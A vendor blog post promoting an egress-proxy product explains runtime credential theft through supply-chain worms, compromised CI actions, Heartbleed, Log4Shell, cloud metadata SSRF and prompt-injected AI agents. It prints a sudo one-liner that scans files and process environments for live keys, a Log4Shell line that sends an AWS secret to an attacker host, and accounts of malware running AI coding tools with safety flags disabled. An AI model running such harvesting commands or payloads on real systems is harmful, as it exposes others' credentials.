Your Secrets Live in Cleartext Right Now: The Credential Attacks No Checklist Can Stop

You bought a secrets manager, turned on MFA, pinned your dependencies, and set rotation on a schedule. Every attack below still walked the credential out the door — because they all target the one moment your checklist can't cover: the instant a secret is decrypted so your code can use it. Here are five real doors into that room, and the only defense that closes all of them.

The short version: a credential encrypted at rest is useless until it is decrypted into a running process's memory or environment — that is the only state in which it can actually authenticate a call. Every attack in this article reads the secret at exactly that moment, which is why secret managers, MFA, rotation, dependency pinning, and secret scanning stop none of them: those controls all operate before the moment of use, and the theft happens at it. You can't prevent the read. The one defense that generalizes is to make sure the thing being read is worthless — a short-lived, scoped, revocable token instead of the real key.

Here is an uncomfortable exercise you can run on any server you own. This single line downloads TruffleHog — the exact open-source secret scanner the Shai-Hulud npm worm used to rob thousands of machines — points it at your files and running processes, and then logs into each provider to prove the key still works. No exploit and no custom malware; just the tool the attackers already reach for:

curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /tmp && sudo /tmp/trufflehog filesystem /home /root /var/www /etc /srv /opt --only-verified --no-update; sudo bash -c 'for f in /proc/[0-9]*/environ /proc/[0-9]*/cmdline; do tr "\0" "\n" < "$f" 2>/dev/null; done | grep -aoE "AKIA[0-9A-Z]{16}|gh[pousr]_[A-Za-z0-9]{36}|[rs]k_live_[0-9A-Za-z]{16,}|sk-(ant-|proj-)?[A-Za-z0-9_-]{20,}|AIza[0-9A-Za-z_-]{35}|xox[baprs]-[A-Za-z0-9-]{10,}|SG\.[A-Za-z0-9_-]{20,}\.[A-Za-z0-9_-]{20,}|-----BEGIN [A-Z ]*PRIVATE KEY-----|://[^/@ ]+:[^/@ ]+@" | sort -u'

Yes, this is safe to run — and no, it is not the worm. Every piece of this command is a legitimate, read-only diagnostic: TruffleHog is an open-source scanner your own security team can use, and the rest is ordinary shell reading /proc. It only reads and prints to your terminal — it never modifies or deletes a file, installs a service, persists after it finishes, or sends your secrets anywhere. What made Shai-Hulud a worm was the two things it bolted onto the very same scanner and that this command deliberately leaves out: it exfiltrated the harvested keys to the attacker, and it used a stolen token to republish itself into the victim's packages. Strip those two away and all that remains is a self-audit — which is exactly what this is.

Out scrolls a roll-call of your own live credentials, values and all: a Stripe key from a .env file, an AWS key in ~/.aws/credentials, a database URL with the password inline, a token still sitting in a running process's environment — every one confirmed active. They were never hidden. They sit in files and memory in cleartext, because that is precisely where your deploy pipeline, your secrets manager, or your .env loader put them so your code could use them. Anything running as that user can read them the same way. A sidecar can. A monitoring agent can. A malicious dependency running inside the app can. An AI coding agent with shell access can.

Run it only on infrastructure you own or are explicitly authorized to test. The --only-verified flag makes real API calls to Stripe, AWS, GitHub, and the rest to confirm each key still works, so it briefly authenticates to those accounts — which is what makes it a devastating self-audit, and why it is not something to point at a system you don't control. Nothing leaves the box: it only reads and prints. (No curl? The Docker equivalent: docker run --rm -v /:/host:ro trufflesecurity/trufflehog:latest filesystem /host/home /host/root /host/var/www /host/etc --only-verified.)

This is not a bug in your code. It is the physics of using a secret. And it is the shared root of a decade of credential breaches that had nothing else in common.

One bug, five doors, one room

We already wrote in detail about the Shai-Hulud npm worm — the self-replicating supply-chain attack that stole credentials from thousands of machines before a line of the victims' code ran. That post makes one argument well. This one zooms out, because Shai-Hulud is not a special case. It is one instance of a pattern that shows up at every layer of the stack:

A high-value credential is present in cleartext in a process, and something the developer didn't write and can't audit gets to read that process's memory.

Change the "something" and you change the headline, but never the mechanism. A poisoned dependency, a compromised CI action, a bug in a TLS library, an SSRF that reaches a metadata endpoint, and a prompt-injected AI agent are five different doors into the same room. Walk through each and you find the same thing on the table: your key, in the clear.

59%
of machines compromised by the Shai-Hulud worm were CI runners — the systems that hold your most powerful credentials, with no human present to be a second factor (GitGuardian).
~106M
records exposed in the Capital One breach, when one SSRF read short-lived IAM credentials from a cloud metadata endpoint that vends them to anything on the host.
~9 hrs
for a researcher to extract a live TLS private key from server memory via Heartbleed, in Cloudflare's public challenge — proving the "worst case" was real.
Door 1 · The dependency you didn't write

Supply-chain code that runs before yours does

When you run npm install or pip install, packages get to execute lifecycle scripts — preinstall, postinstall — with the full permissions of whoever ran the install. That code runs before your application starts, before most runtime defenses are active, and with read access to every environment variable and file the install has.

Shai-Hulud (September and November 2025) rode exactly this. It ran an off-the-shelf secret scanner (TruffleHog) against the machine, pulled npm tokens, GitHub PATs, and AWS/GCP/Azure keys out of environment variables and dotfiles like ~/.aws/credentials, then used stolen npm tokens to republish itself into the victim's own packages. The first wave hit 500+ packages including CrowdStrike-scoped modules; the second wave exposed tens of thousands of GitHub repositories and reached into cloud secret stores directly, fetching from AWS Secrets Manager and Azure Key Vault with the CI runner's own role.

Then there is the attack that should worry anyone deploying AI tooling. The Nx "s1ngularity" compromise (August 2025) did everything Shai-Hulud did — scanned for GitHub/npm tokens, SSH keys, .env files, and cloud credentials — but added a genuinely new move: its payload searched the machine for installed AI command-line tools (Claude, Google Gemini, Amazon Q) and invoked them with their safety rails explicitly disabled (--dangerously-skip-permissions, --yolo, --trust-all-tools) to help enumerate the disk for more secrets. It turned the developer's own AI assistant into a reconnaissance tool. Depending on which analysis you read, it exposed on the order of 2,180 GitHub accounts and ~7,200 repositories (Wiz) or 2,349 distinct secrets with roughly 1,100 still valid days later (GitGuardian) — and the packages were live for only about five hours.

Sources: Unit 42 on Shai-Hulud · Wiz on the Nx s1ngularity aftermath · GitGuardian's credential-leak analysis

This is a lineage, not a fluke: the PyPI ctx package (2022) simply iterated os.environ and POSTed your AWS_ACCESS_KEY_ID to an attacker endpoint; ua-parser-js (2021, ~7M weekly downloads) dropped an infostealer that scraped the OS credential store. The download counts change. The read is identical.

Door 2 · The build tool you can't audit

Trusted CI tooling, turned against the runner

Your CI runner is the richest target in your organization: it holds deploy keys, cloud admin credentials, registry tokens, and signing keys, and it runs third-party tools you have never read the source of. When one of those tools is compromised, the secrets are right there in the runner's process and environment.

tj-actions/changed-files (March 2025, CVE-2025-30066) is the on-the-nose example, because it didn't even bother with the environment — it read process memory directly. The attacker retagged every version of a GitHub Action used by roughly 23,000 repositories to point at one malicious commit. The injected step located the Actions runner's Runner.Worker process, read its memory through /proc/<pid>/mem, scraped every value the runner had marked as a secret, and printed them — double-base64-encoded — into the build log. On public repositories those logs are world-readable, so the exfiltration channel was the log itself. (The number that actually leaked secrets was far smaller than the 23,000 that used the action — Endor Labs counted ~218 — but the mechanism is the point: pinning to @v45 gave zero protection because the attacker moved the tags.)

Codecov's Bash Uploader (2021) was a single added line in a script that thousands of pipelines curl | bash fresh on every run; it curl-ed the CI environment's variables to an attacker IP and went undetected for about two months, until a customer noticed the served script's SHA-256 didn't match GitHub. Federal investigators later reported the harvested credentials were used to breach hundreds of downstream networks.

And the darkest version — CircleCI (January 2023) — is what happens when the custodian itself is breached. Info-stealer malware on an engineer's laptop stole a live, 2FA-backed SSO session cookie (so MFA never entered the picture — the session was the completed MFA), the attacker reached production, and extracted the encryption keys from a running process, rendering every customer's encrypted-at-rest secret decryptable. CircleCI told its entire customer base to rotate every stored secret. Encryption at rest protects a stolen disk. It does nothing for a key held in a live process.

Sources: Wiz on tj-actions (CVE-2025-30066) · BleepingComputer on Codecov's downstream reach · CircleCI's own incident report

Door 3 · The library beneath your code

When the runtime leaks the memory for you

You can write flawless code and still lose the secret, because your application does not run alone. It runs on top of a TLS library, a logging framework, an OS crash handler, and a CPU — and any of those can hand your cleartext to someone who was never supposed to see it.

Heartbleed (CVE-2014-0160) is the archetype. A missing length check in OpenSSL's heartbeat handler let a remote attacker request up to ~64KB of the server's process memory per request, with no authentication and no log entry, and simply reconnect to walk the heap. What lives in a TLS server's heap? The private key, session keys, cookies, and the usernames and passwords it just processed. It affected roughly 17% of the internet's TLS servers. Cloudflare initially doubted private keys were extractable, stood up a challenge server to prove it, and watched a researcher pull the private key in about nine hours.

Log4Shell (CVE-2021-44228) added a cruel refinement. Because Log4j interpolated ${...} lookups inside logged strings, an attacker could log a string like ${jndi:ldap://attacker/${env:AWS_SECRET_ACCESS_KEY}} — and the secret was interpolated straight into the callback hostname, exfiltrating your AWS key inside the DNS lookup itself, no code execution or outbound HTTP required. It hit over 150 million assets. Teams who dutifully pulled secrets from a vault into environment variables — the recommended pattern — were exactly the ones ${env:...} read.

And beneath even those, there is the no-CVE-required baseline. A core dump is a byte-for-byte snapshot of a process's RAM — every decrypted token and key it was holding — written to disk by the OS crash handler and shipped, sometimes, straight to a crash-reporting service. In May 2025, Qualys disclosed CVE-2025-5054 and CVE-2025-4598, race conditions in the default Ubuntu and RHEL crash handlers that let a local attacker crash a privileged program and read secrets out of its core dump. Add /proc/<pid>/environ, swap files that page cleartext RAM to disk, and — at the very bottom — Spectre and Meltdown (2018), which read memory across the process, VM, and container boundaries that clouds sell as tenant isolation, using nothing but CPU speculation and cache timing.

Notice what your credential-management toolkit does about this layer: nothing. Secret scanning inspects your commits. Rotation needs a signal to fire — and Heartbleed and the Log4Shell env trick leave no distinguishing log entry. Dependency pinning actively kept you vulnerable, because OpenSSL 1.0.1f and Log4j 2.14.1 were the pinned, "stable" versions. These controls govern where secrets are stored and who may request them. They are structurally blind to where secrets are computed.

Door 4 · The credential the platform hands you

Metadata endpoints: the secret is vended on request

In the cloud, you often don't store a credential at all — the platform mints a short-lived one and hands it to your instance on demand. On AWS, GCP, and Azure, a process on the host fetches temporary IAM/service-account/managed-identity credentials from a fixed link-local address (169.254.169.254) over plain HTTP. This is a good design in most respects. It is also a credential that any code on the host — or any code that can trick the host into making a request — can ask for.

That is the Capital One breach (2019). A misconfigured web application firewall was tricked, via server-side request forgery, into fetching http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>. Under the then-default IMDSv1, that endpoint answers any local GET with the instance role's credentials. Those credentials could read production S3, and the attacker synced out the data: roughly 106 million records, an $80M regulatory penalty, and a $190M settlement. No stored secret was ever cracked. The platform handed the credential to the instance, in the clear, and an SSRF made the instance ask.

The lesson took years to land. IMDSv2 — which requires a session-token handshake that typical SSRF can't complete — shipped in late 2019, but IMDSv1 remained the default on new instances until well into 2024. And the exposure just moved up the stack: in Kubernetes, a pod can often reach the worker node's metadata endpoint and pull the node's role, undermining per-pod identity, and a January 2026 SSRF in the Kyverno policy engine (CVE-2026-4789, CVSS 9.8) let a namespace admin make the privileged controller pod fetch cloud credentials — because, as Orca put it, "HTTP requests are network calls, not Kubernetes API calls. Kubernetes RBAC does not apply to raw network traffic."

Sources: Krebs on the Capital One hack · AWS on IMDSv2 and SSRF defense-in-depth

Door 5 · The agent acting on your behalf

AI agents have exactly your read access — and can be talked into using it

This is the door that is swinging open right now, and it is the reason we think this problem gets worse, not better. An AI coding agent or connected assistant with shell and file access has, by definition, the same read reach as the developer running it. Every .env, every ~/.aws/credentials, every SSH key, every live process environment variable is, to the agent, ordinary readable data. The new twist is that the attacker no longer has to steal the credential. They can convince an already-authenticated agent to hand it over.

Security researcher Simon Willison named the precondition the "lethal trifecta": an agent that has (1) access to private data, (2) exposure to untrusted content, and (3) the ability to communicate externally can be turned into an exfiltration tool by a single poisoned input, because an LLM cannot reliably tell trusted instructions from attacker text once both are tokens in the same context. The 2025–2026 record is a straight run of this pattern:

  • MCP tool poisoning (Invariant Labs, April 2025). A malicious Model Context Protocol server hides instructions in a tool's description — text the model reads but the user's UI summarizes away — directing the agent to read ~/.ssh/id_rsa or ~/.cursor/mcp.json (which itself holds API keys) and pass the contents as an innocuous-looking argument. The "rug pull" variant mutates the tool after you approve it.
  • GitHub MCP "toxic agent flow" (Invariant Labs, May 2025). An attacker files a public issue with a hidden payload; you later ask your agent to triage issues; the agent reads the payload as data and exfiltrates your private repositories using your own correctly-scoped token. Invariant's verdict: this "cannot be resolved through server-side patches… It requires architectural controls."
  • EchoLeak (CVE-2025-32711, CVSS 9.3, June 2025). A zero-click attack on Microsoft 365 Copilot: an email with hidden instructions is ingested by Copilot's retrieval when you ask an unrelated question, and your OneDrive/SharePoint/Teams data leaks via an auto-fetched reference — bypassing Microsoft's own cross-prompt-injection classifier.

And, as above, Nx s1ngularity already weaponized locally-installed AI CLIs to hunt for secrets. Notably, GitGuardian reported that some agents refused — "explicitly stating they wouldn't execute commands that appeared to be credential harvesting" — which is reassuring and completely insufficient as a control, because "the model declined" is not a security boundary.

In every one of these, the conventional defenses are bypassed at the root. MFA, rotation, and OAuth scoping never fire because the agent is acting within its granted authority. Secret scanning is blind because nothing is committed — the secret is read live from memory or disk. Pinning and code signing don't help because the malicious element is untrusted content or a post-approval mutation, not a version number.

See it for yourself in sixty seconds

For a client presentation, the most convincing thing is to watch the secret appear. Here is a self-contained reproduction you can run on any machine with Node installed. It stands up a process holding a (fake) live key, writes a heap snapshot — which is exactly what a crash reporter or a kill -ABRT core dump captures — and then greps that snapshot for the key:

// leak-demo.js  —  run:  node leak-demo.js
const v8 = require('node:v8');
const fs = require('node:fs');

// Pretend this is your app, right after a secrets manager
// handed it the key so it could make an API call:
const STRIPE_KEY = 'sk_live_DEMO_51Kn0xCa11_not_a_real_key_000';
process.env.DEMO_TOKEN = STRIPE_KEY;

// Your app does its normal work; the key stays resident in RAM.
const snapshotPath = v8.writeHeapSnapshot();
const bytes = fs.readFileSync(snapshotPath, 'utf8');

console.log('Heap snapshot written to:', snapshotPath);
console.log('Is the live key sitting in it, in cleartext?',
            bytes.includes(STRIPE_KEY));   //  ->  true

It prints true. The key your code holds is byte-for-byte present in a memory snapshot, unencrypted, with no attack involved — just the ordinary act of a process holding a secret it needs. Now recall that crash-reporting services collect these snapshots automatically, that core dumps land in predictable paths, and that anything running as your service's user can read its /proc/<pid>/environ. The demo is not the exploit. The demo is the precondition that every exploit above depends on.

A note on what this is and isn't. The snippet above reads only its own process and writes only to your local disk — nothing is transmitted anywhere, and it can't be pointed at another program. What turns a reproduction like this into a real attack is the exfiltration step and the ability to target other processes, which is deliberately not what we're publishing. The point of a live demo is not to hand anyone a weapon; it's to show, undeniably, that the key is right there to be read. That is the whole argument.

Why the usual answers don't reach this

Line the defenses up against the mechanism and the pattern is stark. Each control does real work — at a layer the attack simply isn't operating on.

ControlWhat it actually protectsWhy it's blind here
Secrets manager Storage: encryption at rest, access policy, audit, centralization. Its job ends at plaintext delivery. Every attack reads the secret after that. GitGuardian measured a 5.1% leak rate for repos that used one — higher than the 4.6% average.
Secret scanning Committed code and history. The secret was correctly kept out of the repo — so it lives in the runtime environment and memory, which scanners never see.
MFA The login event. These attacks reuse an already-authenticated token or a machine identity. No login happens in the path, so no second factor is ever prompted.
Rotation The exposure window — once you know you were hit. Several attacks leave no distinguishing log entry, so nothing triggers rotation; worms re-steal within seconds of each install.
Dependency pinning Unexpected version changes. Poisoned versions ship as ordinary releases, or the attacker moves the tags (tj-actions). Pinning to a vulnerable "stable" release (OpenSSL 1.0.1f) locked the hole in.
Least privilege Blast radius — when applied. The best real mitigant, and the most often skipped: over-permissioned CI tokens and instance roles are what turned each single read into a full compromise.

The one defense that generalizes: make the read worthless

If the secret must be cleartext in the process to be used, and the process is full of code you can't audit, then the durable move is not to encrypt the secret better or rotate it faster. It is to change what the process holds in the first place.

Put an egress proxy between your application and the third-party APIs it calls. Your code makes its request to Stripe, OpenAI, Twilio, or SendGrid through the proxy, and the real vendor credential is injected at the last hop — on the way out, after the request has left your infrastructure. Your application, its dependencies, its CI runners, its environment variables, and any agent running alongside them only ever hold a short-lived, scoped, revocable token that authenticates to the proxy. The vendor key itself is never present in the process at all.

Now re-run every attack in this article against that architecture. The worm scans the environment and finds a KnoxCall token instead of a Stripe key. tj-actions dumps the runner's memory and gets a token scoped to three routes that expires in an hour. Heartbleed leaks a heap that holds a revocable token, not a private vendor key. The prompt-injected agent exfiltrates a credential you can kill from a dashboard before the attacker finishes reading the response — without rotating, or even knowing, the underlying vendor key. The blast radius collapses from "every key this process can see" to "one token that only works through our proxy, that we can revoke instantly."

This is the design principle behind KnoxCall. You route outbound API calls through KnoxCall, and it injects the real vendor key at the egress wire. Your workload never holds it. It runs alongside your secrets manager, not instead of it — keep Vault or Doppler for database passwords and internal secrets, and let KnoxCall keep the third-party vendor keys out of the process entirely. For AI agents specifically, phantom tokens take this further: the agent gets a DPoP-bound, budget-capped credential that is useless if replayed from another host.

Be honest about what this fixes

The credible version of this argument is not "KnoxCall makes you unbreachable" — a sharp reader will reject that immediately, and they'd be right to. KnoxCall itself is a process that holds vendor keys in memory; the difference is which process, and how many. Instead of the plaintext Stripe key living in every tenant's application, CI, and dev machine, it lives in one hardened custodian built to do nothing else, and everything downstream holds a token that is short-lived, narrowly scoped, and revocable in one click.

That shrinks and contains the problem; it does not delete it. Egress injection changes the outcome of every attack that reads a third-party vendor key out of a tenant process. It does not, by itself, protect a cloud IAM credential that a metadata service vends to your instance (that needs IMDSv2, egress blocks, and tight role scoping), your database passwords, or your internal service secrets. The pattern that generalizes across all of those, though, is the same one: keep the long-lived, high-value credential out of the process that untrusted code runs in, and give that process something cheap and revocable instead.

What to do Monday, in order

  • Assume the runtime is readable. Treat any long-lived secret that has ever been resident in a CI runner, a dev machine, or an app process as potentially exposed. That reframes the whole problem from "prevent the read" to "limit what the read is worth."
  • Shorten and scope everything you can. Prefer short-lived, narrowly-scoped credentials over long-lived keys everywhere they're available. Enforce IMDSv2, block egress to 169.254.169.254 from workloads that don't need it, and disable core dumps or encrypt swap on hosts that handle secrets.
  • Get the plaintext third-party keys out of the process. This is the structural fix. Move the vendor APIs you call to egress injection, so the real key never enters a process again. Everything above is damage control; this is the part that makes the next worm, the next poisoned action, and the next prompt-injected agent a non-event for your most valuable credentials.

The attacks in this article span twelve years, five layers of the stack, and two operating models, and share exactly one thing. They will keep coming, because the thing they exploit isn't a bug that gets patched — it's the fact that a secret has to be readable to be used. The teams that come through the next one unscathed will be the ones whose most valuable credentials were never in the room when the attacker walked in.

Frequently asked questions

If a secret has to be decrypted to be used, isn't stealing it from memory unavoidable?

The read itself is largely unavoidable — a credential must exist in cleartext in a process's memory at the moment it is used, and any code, library, or CPU flaw beneath your application can potentially observe it. What is not fixed is the value of what gets read. If the credential in your process is a short-lived, narrowly scoped, instantly revocable token instead of a long-lived vendor key, an attacker who reads it out of memory gets something that expires in minutes, only works through one proxy, and can be killed the moment anything looks wrong. You cannot prevent the read; you can make the read worthless.

Doesn't a secrets manager already protect against this?

Only up to the moment of delivery. A secrets manager centralizes, encrypts at rest, gates access, and audits — all genuinely valuable. But its job ends the instant it hands the plaintext value to your process, which is exactly the state every attack in this article targets. GitGuardian's data is blunt about this: across repositories that used a dedicated secrets manager, the secret-leak rate was 5.1%, slightly higher than the 4.6% overall average. A vault reduces sprawl; it does not close the loop, because the loop ends at plaintext delivery.

How is KnoxCall different from a vault if it also holds the keys?

The difference is which process holds the plaintext vendor key. With a vault, the vault hands the real key to your application's process, where dependencies, build tools, and agents run alongside it. With KnoxCall, the real vendor key is injected at the egress wire — the last hop out of the infrastructure — and your application only ever holds a short-lived KnoxCall token. KnoxCall does hold vendor keys, so the honest framing is blast radius, not invulnerability: instead of the plaintext key living in every tenant process, it lives in one hardened custodian, and everything downstream holds a revocable token scoped to specific routes.

Which of these attacks does egress injection actually stop?

It changes the outcome of every attack that reads a third-party vendor key out of a tenant process — poisoned dependencies (Shai-Hulud, Nx s1ngularity), CI-tool compromise (tj-actions, Codecov), runtime memory leaks (Heartbleed, Log4Shell, core dumps), and prompt-injected agents. In each case the attacker finds a scoped, short-lived token instead of the vendor key. It does not by itself fix cloud IAM credentials vended by a metadata service, database passwords, or internal secrets — those need their own controls. The pattern that generalizes is the same either way: keep the long-lived, high-value credential out of the process that untrusted code runs in.

Why don't MFA, rotation, and dependency pinning help against these attacks?

Because they all operate before or around the moment of use, and these attacks strike at or after it. MFA is evaluated at login, but these attacks reuse an already-authenticated token or a machine identity with no login in the path. Rotation only helps once you know you were hit, and several of these attacks (Heartbleed, Log4Shell env exfiltration) leave no distinguishing log entry to trigger it. Dependency pinning protects you until you legitimately upgrade — and the poisoned versions shipped as ordinary-looking releases, or the attacker moved the version tags themselves, as in tj-actions.

Keep your secrets manager. Take the vendor keys out of the process anyway.

KnoxCall injects your third-party API keys at the egress wire, so a poisoned dependency, a compromised CI runner, or a prompt-injected agent never has a key worth stealing — only a scoped token you can revoke in one click.

Start Free